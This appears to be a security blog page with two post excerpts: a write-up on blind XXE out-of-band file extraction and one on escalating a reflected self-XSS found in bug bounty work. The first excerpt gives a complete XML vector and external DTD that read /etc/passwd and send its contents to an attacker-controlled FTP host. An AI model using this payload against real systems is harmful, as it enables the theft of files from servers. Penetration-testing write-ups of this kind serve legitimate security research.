XXE OOB extracting via HTTP+FTP using single opened port

Suppose we have discovered a XXE-vulnerability and trying to do blind OOB local files content extraction.
There are some different ways to do this. I recently had to use FTP-extraction (AFAIK, this was due to vulnerable service Java version – it didn’t allowed the HTTP-extraction of some files, e.g. /etc/passwd).

I have used the following vector:

1
2
3
4
5
6
7
8
< ?xml version="1.0" ?>
< !DOCTYPE r [
<!ELEMENT r ANY >
< !ENTITY % sp SYSTEM "http://host:1111/ext.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

and have place at http://host:1111/ext.dtd the following DTD:

1
2
< !ENTITY % data SYSTEM "file:///etc/passwd">
< !ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://host:2222/%data;'>">

This works the following way:
1. Processing the XML source, vulnerable app loads external DTD schema via HTTP from http://host:1111/ext.dtd
2. Processing the loaded schema, the app loads local file /etc/passwd and tries to load external entity exfil via FTP from ftp://host:2222/%data;, where the %data; is replaced by /etc/passwd content by XML parser. Thus, if we control the FTP server, we can easily read extracted data.

And everything would be fine, but the vulnerable server firewall has allowed only 3785 port outgoing connections, and we needed to make 2 requests: over HTTP and then over FTP. So, I had to think, how to process both protocols using one single port 🙂

Continue reading →

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  

How I have exploited reflected self-XSS or CORS is not the end

The other day I have stumbled upon the reflected self-XSS. It is OK, if the self-XSS is stored – in this case the injected code is stored inside some application area, which is available only for the same user, that could inject the code there, for example, inside user personal area. In my case the following has occurred: I had discovered the link, vulnerable to classical reflected XSS and reported it into BugBounty. It didn’t even occur to check the link transferring to other user. Over time, I have received the report reject because of “can not reproduce”.

It turned out that the vulnerable application has the external sources video uploading function, and this is how it works:

  1. The user presses the “Upload video” button, and the separated video uploading page is opened. Then, as I think, some video dummy is inserted into DB. This dummy has associated video ID like 10345 already (this ID is visible inside the page source).
  2. The user selects the “Upload from external source” item and the other separated page with URL like
    /uploadExt?videoId=10345&amp;vulnerableParam=test is opened. This is exactly the same page, that is vulnerable for XSS via vulnerableParam parameter.

The problem was that the vulnerable link couldn’t be transferred to other user, as he had no access to video with this ID, so the user has got the 403 Unauthorized server error. Thus, the user could be attacked only if he has initiated the video uploading process by himself and has navigated to vulnerable URL containing his own videoId.

Read further, what have I tried to bypass this limitation and what have I achieved 🙂
Continue reading →